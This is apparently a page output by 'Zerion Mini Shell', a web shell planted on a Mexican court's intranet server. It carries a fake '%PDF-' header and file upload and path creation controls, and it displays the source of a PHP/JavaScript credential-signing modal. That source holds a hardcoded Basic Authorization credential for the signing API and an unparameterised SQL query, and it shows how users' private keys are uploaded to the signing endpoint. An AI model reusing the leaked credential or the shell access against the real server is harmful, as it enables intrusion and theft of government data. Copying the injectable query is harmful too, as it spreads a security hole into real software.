%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /home/tjamichg/intranet.tjamich.gob.mx/intranet/
Upload File :
Create Path :
Current File : /home/tjamichg/intranet.tjamich.gob.mx/intranet/modalCredenciales.php

<div id="modal_firma" tabindex="-1" role="dialog" aria-labelledby="modal-stackable-label" aria-hidden="false"
	class="modal fade">

	<div class="modal-dialog modal-wide-width"> <!-- para cambiar el tipo de modal: modal-dialog modal-wide-width -->

		<div class="modal-content">

			<head>

			</head>

			<div class="modal-body"><br>



				<script src="https://code.jquery.com/jquery-1.9.1.js"></script>

				<script src="https://cdnjs.cloudflare.com/ajax/libs/validate.js/0.13.1/validate.min.js"></script>

				<link rel='stylesheet' href='https://maxcdn.bootstrapcdn.com/bootstrap/3.3.5/css/bootstrap.min.css'
					integrity='sha512-dTfge/zgoMYpP7QbHy4gWMEGsbsdZeCXz7irItjcC3sPUFtf0kuFbDz/ixG7ArTxmDjLXDmezHubeNikyKGVyQ=='
					crossorigin='anonymous'>



				<script src='https://ajax.googleapis.com/ajax/libs/jquery/1.11.3/jquery.min.js'></script>

				<!--<script src="../../common/js/jquery-1.10.2.min.js"></script> -->

				<script
					src="https://cdnjs.cloudflare.com/ajax/libs/jquery-validate/1.19.0/jquery.validate.min.js"></script>

				<script src="vendors/jqueryvalidate/localization/messages_es.min.js" type="text/javascript"></script>

				<script src='https://maxcdn.bootstrapcdn.com/bootstrap/3.3.5/js/bootstrap.min.js'
					integrity='sha512-K1qjQ+NcF2TYO/eI3M6v8EiNYZfA95pQumfvcVrTHtwQVDG+aHRqLi/ETn2uB+1JqwYqVG3LIvdm9lj6imS/pQ=='
					crossorigin='anonymous'></script>

				<script src='js/bootbox.js'></script>

				<?php





				$id_usuario = $_SESSION['id_usuario'];

				$sql = "SELECT curp FROM tjam_empleados e WHERE id = $id_usuario ";

				$rst = $conf->consulta($sql);

				$curp = $rst[0]["curp"];

				$id_jel = 0;


				?>



				<div class="panel panel-green">

					<div class="panel-body pan">

						<form id="formFirmar" action="controller/firmar_nomina.php?id_firma=$id_firma">

							<input type="hidden" name="id_usuario" value="<?php echo $id_usuario; ?>">

							<div class="form-body pal">



								<div class="row">

									<div class="form-group">

										<label for="InputText">
											<h3>
												<dt>Por favor descargar tus nuevas credenciales</dt>
											</h3>
										</label><br>

									</div>





									<div class="row">

									</div>





								</div>



								<div class="form-actions text-right pal">

									<button type="button" data-dismiss="modal"
										class="btn btn-danger btn-block">Cancelar</button>

								</div>



						</form>

					</div>

				</div>



			</div>







		</div>

	</div>

</div>

</div>







<script>

	function readFile(file) {

		return new Promise((resolve, reject) => {

			var fr = new FileReader();

			fr.onload = () => {

				var base64 = btoa(new Uint8Array(fr.result).reduce((data, byte) => data + String.fromCharCode(byte), ''));

				resolve(base64);

			};

			fr.readAsArrayBuffer(file);

		});

	}

	function firmaValidar(usuario, certificado, firma, timestamp, timestampfirma) {



		$.ajax({

			type: "POST",

			url: 'registroFirma.php',

			data: { usuarioF: usuario, certificadoF: certificado, firmaF: firma, timestampF: timestamp, timestampfirmaF: timestampfirma },

			success: function (response) {

				var jsonData = JSON.parse(response);



				if (jsonData.success >= 1) {

					$('#modal_firma').modal('hide');

					document.getElementById("id_firma").value = jsonData.success;

					//alert('Firma Correcta!');

					var ids = document.getElementById("id_firma").value;

					//console.log(ids);

					//$('input:hidden[name=id_firma]').val(ids);

					$("#formFirmar").submit();

				}

				else {

					//console.log(jsonData.responseText)

					alert('Error de firma!');



					$('#modal_firma').modal('hide');



				}

			}

		});



	}



	function firmar(results) {

		var dialog = results[2];

		var form = new FormData($('#formFirmar')[0]);

		var data = {};

		form.forEach(function (value, key) {

			data[key] = value;

		});



		data['llavePrivada'] = results[0];

		data['llavePublica'] = results[1];

		//console.log(data);

		$.ajax({

			//url: "http://189.206.14.26:8080/ControlCertificados/ws/firma/firmar",

			url: "https://jel.tjamich.gob.mx/ApiJel/FEA/Firmar",

			cache: false,

			type: "POST",

			dataType: "json",

			contentType: "application/json",

			data: JSON.stringify(data),

			headers: {

				Authorization: "Basic dGphbWljaGc6VGphbWljaDE2"

			}

		}).done(function (data) {

			//console.log(data);

			if (data.Result == true) {

				firmaValidar(data.Data.usuario, data.Data.certificado, data.Data.firma, data.Data.timestamp, data.Data.timestampfirma);

			} else {

				var str1 = data.Data.applicationMessage;

				if (str1.includes("duplicidad")) {

					bootbox.alert('<p class="text-center"><span class="fa fa-times"></span> No pudo ser firmado </p><p>' + (data ? (data.Data.applicationMessage ? data.Data.applicationMessage + ', en la Coordinaci\u00F3n de Inform\u00E1tica.' : data.Data.statusMessage) : 'Error desconocido') + '</p>');

				} else {

					bootbox.alert('<p class="text-center"><span class="fa fa-times"></span> No pudo ser firmado </p><p>' + (data ? (data.Data.applicationMessage ? data.Data.applicationMessage + ', verifique la informaci\u00F3n.' : data.Data.statusMessage) : 'Error desconocido') + '</p>');

				}

			}



			//console.log(data);

			/*bootbox.alert({

				title: "Firmado",

				message: '<p style="word-break: break-all;"><span>Usuario:' + data.Data.usuario + '</span><br><span>Certificado:' + data.Data.certificado + '</span><br><span>Firma:' + data.Data.firma + '</span><br><span>Fecha:' + data.Data.timestamp + '</span><br><span>Firma Fecha:' + data.Data.timestampfirma + '</span><br></p>'

			});*/

		}).fail(function (jqXHR, textStatus, errorThrown) {

			var d = null;

			try {

				d = JSON.parse(data.responseText);

			} catch (ex) {

				//console.log(ex);

				console.log('Error: ' + ex);

			}

			//bootbox.alert('<p class="text-center"><span class="fas fa-times"></span> No se puede firmar </p><p>' + (d ? (d.applicationMessage ? d.applicationMessage : d.statusMessage) : 'Error desconocido') + '</p>');

			var str1 = jqXHR.responseJSON.applicationMessage;

			if (str1.includes("duplicidad")) {

				bootbox.alert('<p class="text-center"><span class="fa fa-times"></span> No pudo ser firmado </p><p>' + (jqXHR ? (jqXHR.responseJSON.applicationMessage ? jqXHR.responseJSON.applicationMessage + ', en la Coordinaci\u00F3n de Inform\u00E1tica.' : jqXHR.responseJSON.statusMessage) : 'Error desconocido') + '</p>');

			} else {

				bootbox.alert('<p class="text-center"><span class="fa fa-times"></span> No pudo ser firmado </p><p>' + (jqXHR ? (jqXHR.responseJSON.applicationMessage ? jqXHR.responseJSON.applicationMessage + ', verifique la informaci\u00F3n.' : jqXHR.responseJSON.statusMessage) : 'Error desconocido') + '</p>');

			}

		}).always(function () {

			//console.log('always ');

			setTimeout(function () {

				dialog.modal('hide');

			}, 500);

		});

	}



	function sendFirmar() {

		var dialog = bootbox.dialog({

			message: '<p class="text-center"><span class="fas fa-sync fa-spin"></span> Firmando</p>',

			closeButton: false

		});

		var k1 = null, k2 = null;

		$('#formFirmar :input[type="file"]').each(function () {

			var files = this.files;

			var f = files[0];



			if (f) {

				//console.log("Contenido");

				if (k1) {

					k2 = readFile(f);

				} else {

					k1 = readFile(f);

				}

			} else {

				dialog.modal('hide');

				bootbox.alert({

					message: "Falta un archivo"

				});

				return;

			}

		});

		Promise.all([k1, k2, dialog]).then(function (results) {

			firmar(results);

		});

	}

	/*$('#sendFirmar').click(function () {

			sendFirmar();

		});*/

	$(function () {

		$("#formFirmar").validate({

			rules: {

				usuario: {

					required: true,

					email: true,

					rangelength: [0, 1000]

				}, password: {

					required: true,

					rangelength: [4, 100]

				}, llavePrivada: {

					required: true

				}, llavePublica: {

					required: true

				}, data: {

					required: true

				}

			},

			errorPlacement: function (error, element) {

				element.next('small').append(error);

			},

			highlight: function (element) {

				$(element).next('small').show();

				$(element).addClass('border border-danger');

			},

			unhighlight: function (element) {

				$(element).next('small').hide();

				$(element).removeClass('border border-danger');

				$(element).addClass('border border-success');

			}

		});

		$("#formFirmar").find('small').hide();

		$('#sendFirmar').click(function () {

			sendFirmar();

		});

	});

</script>

Zerion Mini Shell 1.0